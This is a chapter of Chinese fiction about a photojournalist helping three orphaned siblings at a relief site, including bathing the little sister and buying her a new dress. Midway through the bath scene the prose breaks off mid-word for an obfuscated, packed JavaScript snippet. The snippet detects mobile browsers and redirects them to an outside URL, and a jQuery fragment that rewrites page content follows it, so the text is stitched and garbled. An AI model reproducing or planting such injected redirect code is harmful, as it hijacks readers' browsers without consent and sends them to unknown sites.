第二天的拍摄点离住处不远，前一天就和救援站、供水点那边确认了，车队从临时媒体点出发，同行的记者、联络人和司机都在，向导便不用全程跟着。他空出半天，绕去了旧喷泉和补给棚那一片，替她问昨天那场说不清的争执。
秦穗上午拍了供水点。
天气热得很早，塑料水桶一只挨一只摆在尘土里，桶口裂开的地方用胶带缠着，水从缝里一点点渗出来，滴到地上，很快又被晒干。她站在遮阳棚边，听着联络人和当地负责人低声确认，才举起相机。
镜头里是桶沿，是登记本上被汗水洇开的纸角，是物资袋从一双手递到另一双手里的瞬间。
中午以后，他们又去了临时诊疗棚。
棚里闷，消毒水味、汗味、灰尘味混在一起。秦穗拍完一组旧药盒和登记表，低头检查素材时，忽然看见画面角落里有个小女孩的裙摆，脏得发灰，边缘被磨出线头。
她手指停了一下。
脑子里闪过Stella昨夜睡着前的脸。小女孩哭得眼睛肿着，睫毛一根根黏住，头发乱成小小一团，脸颊边全是灰。
她把相机放低，喝了一口水。
水已经被晒得温热。
傍晚前，拍摄结束。向导在媒体点外等她，肩上的帆布包被灰扑得发白，额头上全是汗。他看见秦穗，朝旧喷泉的方向偏了偏头。
“问过了。”他说。
秦穗收相机的动作顿住。
向导口音重但意思清楚。那边没人承认。昨天几个少年说没碰过竹筐，也没抢什么东西。旁边摊贩却也说没看清。喷泉那一片小孩太多，没父母管的也多，早早就学会抢地方、抢客人，谁都怕被牵进去。
“没有监控，没有人作证。”向导皱着眉，“几只小鸟，几个手环，很难说清楚。”
秦穗只是顿了一下，又照常拉上相机包的拉链。
过了一会儿，她说：“麻烦你了。”
向导摆摆手。
“我明天再问问。”他说，“但别抱太大希望。”
秦穗点了点头，背起相机包，沿着那条熟悉的路往回走。
夕阳已经斜下去，热气还压在墙根。街边铁皮棚收了一半，几只空水桶倒扣在地上，风一吹，桶底贴着灰滚出很轻的声响。
她走到那扇门前时，里面正有很轻的说话声。
秦穗听不懂，Stella好像软软地问了一句什么，尾音拖得很长。Asad很快接了话，随后是Mirek的声音，很低，很慢，听起来比他们都稳，却也有一点压不住的小心。
屋里安静了几秒，又传来小凳子被拖动的声音。
秦穗抬手敲了敲门。
脚步声很快跑近。
Asad打开门时，先是愣了一下，随即眼睛亮起来。他今天没有出门，伤腿伸得有些僵，走路还是一瘸一拐的，却立刻侧身让开，又回头去拖那只小木凳。
那只凳子比屋里其他东西都干净些，大概刚擦过，边角还带着一点潮意。Asad把它搬到沙发旁边，一瘸一拐有些吃力。
“坐这里。”他说。
说完又觉得自己语气太急，耳朵微微红了一点，抓了抓卷发：“我们刚刚还在说……你今天会不会来。”
Stella躲在他身后，眼睛亮晶晶地看着秦穗。头发乱得厉害，脸上有昨夜没擦干净的灰，裙摆下方蹭着泥。可她手里攥着一小截粉笔，一看见秦穗，便把粉笔藏到背后，像拿着什么不够体面的礼物。
秦穗低头看了一眼那只小凳。
“谢谢。”
Asad被她一谢，反而更不好意思了，声音低下去：“昨天……谢谢你帮我。”
后面的话他没说完。
大概是不好意思说自己被找到时哭成那样。
他只是垂下眼，手指捏着门边，半天才又补了一句：“哥哥也一直想跟你说谢谢。”
沙发上，Mirek也正在看她。
白天的光线把他的疲惫照得更清楚。身后的旧垫子撑得不稳，半边身体仍旧往右陷，浅色衬衫领口皱着，露出一截瘦削苍白的锁骨。他像是早就听见了门口的动静，已经努力把自己撑得比平时端正一点。
可那点端正很勉强。
肩膀仍然低着，腰侧陷在软垫里，手腕偏垂在毛毯上，蜷缩的指节轻轻压着布面。秦穗进门时，他下意识又想再坐直些，掌根抵住沙发边缘，肩胛骨很小幅度地动了一下，腰却没有跟上。身体刚撑起一点，又慢慢落回去。
那一下很轻。
他的睫毛却立刻垂下去，耳根浮起一点薄红。
“你来了。”他低声说。
秦穗把水放到桌上：“来晚了。”
“不晚。”他说得很快。
说完，又像觉得自己答得太急，唇轻轻抿住。他的视线在她脸上停了很短一瞬，像是看见她额角的汗，袖口的灰，和被太阳晒得微微发红的手背。
轻轻的，只是在确认她今天有没有很累，有没有哪里不舒服。
Mirek垂下眼，又很轻地开口：“昨天太麻烦你了。Asad能回来……多亏你。”
他说这句话时，声音比平时更低。不是客套，也不是顺口的道谢。那几个字像在他心里压了一夜，终于小心翼翼拿出来，放到她面前。
秦穗坐到Asad搬来的小凳上，低头去看他的膝盖。
“先看伤口。”
Asad立刻把腿伸直一点，乖得过分。
伤口不算太深，但边缘还是红，昨日蹭进去的灰没有完全清干净。秦穗把棉片浸湿，动作放轻，一点点擦过去。
“今天碰水了吗？”
Asad摇头：“没有。”
“有没有走远？”
“没有。”他停了停，又补了一句，“只在屋里。”
他说得很认真，像在交一份小小的作业。
秦穗替Asad重新贴好纱布，抬头时，看见Stella正蹲在一旁看着。小女孩手背上全是粉笔灰，发根里夹着细沙，连鼻尖都蹭出一道灰白。她像是意识到秦穗在看自己，连忙用手背擦了一下脸，结果脸上又多了一道白痕。
秦穗心口微微一滞。
她看向Mirek：“她今天洗过吗？”
Mirek的神色一下变得局促，像被问到了一件很私密、也很难堪的家事。Asad立刻说：“昨晚带她去河里洗了一下，早上擦了脸。”
他说完，又低头看了看自己的膝盖。
后面的话不用说，秦穗也懂。
两个男孩子把Stella护在身边，给她分吃的，给她盖衣服，哄她睡觉，教她不要跑远。可是小女孩的头发该怎么一点点梳开，裙子脏了该换什么，怎样让她干干净净地坐在阳光里，他们其实都没有办法。
秦穗看了看外面的天色。
“我旅馆有热水。”她说，“我带Stella去洗一下，可以吗？”
Stella只听懂自己的名字和“洗”，立刻往Mirek身边缩了一点，小手抓住他垂在毛毯边的袖口。
Mirek低头看她。
他想摸摸妹妹的头，手腕却先往下坠了一点。Stella已经很熟练地把脑袋往他掌根底下凑，让他刚好碰到自己的卷发。Mirek用当地话话低声哄她。
Stella皱着很小的眉，看秦穗，又看哥哥。
秦穗蹲下来，放慢声音：“洗完回来。”
她一边说，一边指了指外面，又指回屋里。
“回来？”
“回来。”秦穗点头。
Mirek也轻轻点了一下头。
他其实也担心。Stella从来没有被陌生人这样带出去过。这个地方的街道太乱，天色一暗，风声和人声都会变得不一样。可他昨晚亲眼看着秦穗把Asad找回来，也看着她蹲在地上，一点点给弟弟擦去额角的血。
Mirek低头看着妹妹，声音放得更软：“跟她去。洗干净就回来。”
妹妹终于慢慢松开他的袖口。
走到门边时，她又回头看了两次。
秦穗没有催，只伸出手。小女孩犹豫很久，才把那只带着粉笔灰的小手放进她掌心。
手心很热，带着攥过粉笔的潮湿。
走到街口时，秦穗先带Stella进了一家很小的服装店。Stella站在门边，眼睛盯着其中一条浅黄色的裙子，想看，又不敢看得太明显。
秦穗把那条裙子取下来，比了比她的身量。
布料普通，裙摆边缝着一圈很小的白色花边，线头还没剪干净。可它干净，柔软，是现在最要紧的东西。
她又买了小梳子、发圈和一小块肥皂。
Stella一直仰头看她，像不确定这些是不是给自己的。直到秦穗把那条裙子叠好，放进袋子里，递给她抱着，小女孩才慢慢低头，把脸贴在塑料袋边缘，眼睛亮得不像话。
“裙子。”秦穗说。
Stella跟着很小声地念：“裙子。”
这才去旅馆。
旅馆房间在二楼，走廊窄，墙皮有几处脱落。Stella站在门口不敢进，先看灯，再看床，最后看那间小小的浴室。瓷砖不新，水龙头开起来还有一点刺耳的老旧声响，可这里有门，有毛巾，有可以一直流出来的热水。
秦穗替她脱鞋时，Stella下意识缩脚，像怕弄脏地板。
“没事。”秦穗说。
她听不太懂，只从语气里听出安抚，才慢慢把脚放下来。
热水出来得慢。
水声哗啦响起时，Stella吓了一跳，立刻回头看秦穗。秦穗试了水温，把她的小手牵过去，让她碰一下。
小女孩的眼睛一下亮了。
“水。”
“嗯，热水。”
洗头的时候，她起初很紧张。水一落到头发上，她就闭紧眼，双手胡乱往脸前挡，嘴里急急说着秦穗听不懂的话。秦穗只能用毛巾护住她额头，动作放得很慢，一点点把卷发里的细沙和灰冲开。
水最开始是灰的。
顺着她发梢流下来，带出一点尘土味。秦穗挤出自己带来的洗发水，淡淡的香气在浴室里散开。Stella立刻安静了一点，小鼻子轻轻动了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588086|205370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动。
“香。”她小声说。
秦穗把泡沫揉进她头发里。
卷发湿透以后贴在头皮上，露出细细的脖颈和窄窄的肩膀。秦穗这才发现她其实比看起来更瘦，背上还有几道被旧裙子磨出来的浅红印。热水冲过皮肤时，小女孩先缩了一下，过了一会儿，紧绷的肩膀才慢慢松下来，嘴里小声哼起一段不成调的歌。
洗完以后，她用干毛巾把Stella裹住。小女孩脸被热气蒸得红扑扑的，睫毛湿着，头发半干不干地蓬起来。
秦穗替她换上新裙子。
浅黄色有一点大，袖口松，裙摆落到膝盖下面。可Stella低头看见自己的时候，整个人都呆住了。她先摸了摸裙摆，又摸了摸那一圈小白花边，像怕摸重了会把它摸坏。
“喜欢吗？”秦穗问。
Stella听懂了“喜欢”。
她很慢地点头。
“喜欢。”
秦穗用新买的小梳子给她梳头。头发吹不干，只能擦到半干，再把打结的地方一点点梳开。Stella疼的时候会小小吸气，却没有躲，只是从镜子里看秦穗，看了一会儿，又看自己。
镜子里的小女孩脸干净了，头发蓬松，裙子明亮。
她像不太认得自己。
回去的路上，Stella比来时放松了些。
她仍然牵着秦穗，却会低头看自己的裙子。路边有人经过，她立刻往秦穗身后缩，缩完又悄悄把裙摆往外露一点，像害怕被看见，又想让别人看见。
秦穗低头看她。
她到底只是个五岁的小女孩。
不是守门的小孩，不是帮哥哥拿枕头的小孩，也不是旧沙发前哭到睡着的小孩。她也会喜欢干净的水，喜欢香气，喜欢新裙子。
门被推开时，Asad正坐在小凳上，低头拆那段脏掉的毛线。听见声音抬头，看见Stella，手里的线一下停住了。
Stella站在门口，有点害羞地抓着裙摆。
她第一眼先看Mirek。
“哥哥。”
Mirek抬起头。
那一瞬间，他怔了一下。
小女孩干干净净地站在门口，浅黄色裙子在昏暗屋子里像一块很轻的光。她身上有淡淡的香气，随着她小跑进来，落进旧棉布、药水和潮气之间，显得几乎不真实。
只是说洗干净带回来。
可秦穗把她带回来的时候，她穿着一条崭新的裙子，头发梳开了，脸也干净了，像许久许久以前，父母还在时，节日里那个被好好抱出去的小妹妹。
Asad先反应过来。
他看着Stella，嘴角往上动了一下，又很快压下去，像不想显得自己太高兴。
“你怎么变成这样了。”他说，语气故意嫌弃，眼睛却亮得厉害，“差点没认出来。”
Stella听不出他在嘴硬，只当哥哥真的没认出来，急得往前跑了两步。
“是我！”
Asad终于笑出来。
那两个消失了一天的小酒窝浅浅露出来。
“知道是你。”他说，“臭美。”
Stella一下高兴起来，原地转了一个很小的圈。裙摆晃得不高，却足够让她自己笑出声。
她跑到Mirek身边，想扑，又记得不能撞哥哥，只停在沙发边，把裙摆抓起来给他看。
“看。”
她只会说这个。
Mirek看着她，很久没有说话。
他的手指在毛毯上轻轻动了一下，像是想摸摸那条裙子，却够不到。Stella立刻凑近一点，把裙摆送到他掌心下方。
他的掌根终于碰到那一点布料。
轻轻的。
“很好看。”Mirek低声说。
Stella笑得眼睛弯起来，又把头低下去，让哥哥闻自己的头发。
“香。”她认真说。
Mirek的睫毛颤了一下，深深地吸了一口气。妹妹的味道，与这间有些潮气霉味的屋子格格不入。
秦穗站在门边，手里拎着装旧裙子和小梳子的袋子，袖口还沾着一点水。她看起来很疲惫，碎发被汗和水汽打湿，贴在脸侧。可她神色很平，像只是做了一件再寻常不过的小事。
Mirek看着秦穗，眼底有惊喜，也有更深的羞愧。过了很久，才低声说：“太麻烦你了。”
秦穗把袋子放到桌上。
“不麻烦。”她说，“她很乖。”
Stella听见“乖”，立刻回头看秦穗，像确认是在夸自己。秦穗对她笑了一下，小女孩就又高兴起来，跑去给Asad看头发和裙子。
裙摆在旧地毯上擦过，发出很轻的声响。Asad嘴上说她臭美，又怕她撞到沙发，伸手虚虚护了一下。Mirek靠在垫子里，眼睛里终于有了一点极浅的亮。
秦穗站在旁边，没有说话。
这个家并没有变好。
可是这一刻，Stella是干净的。
穿着一条崭新的浅黄色裙子，像一个真正五岁的小女孩。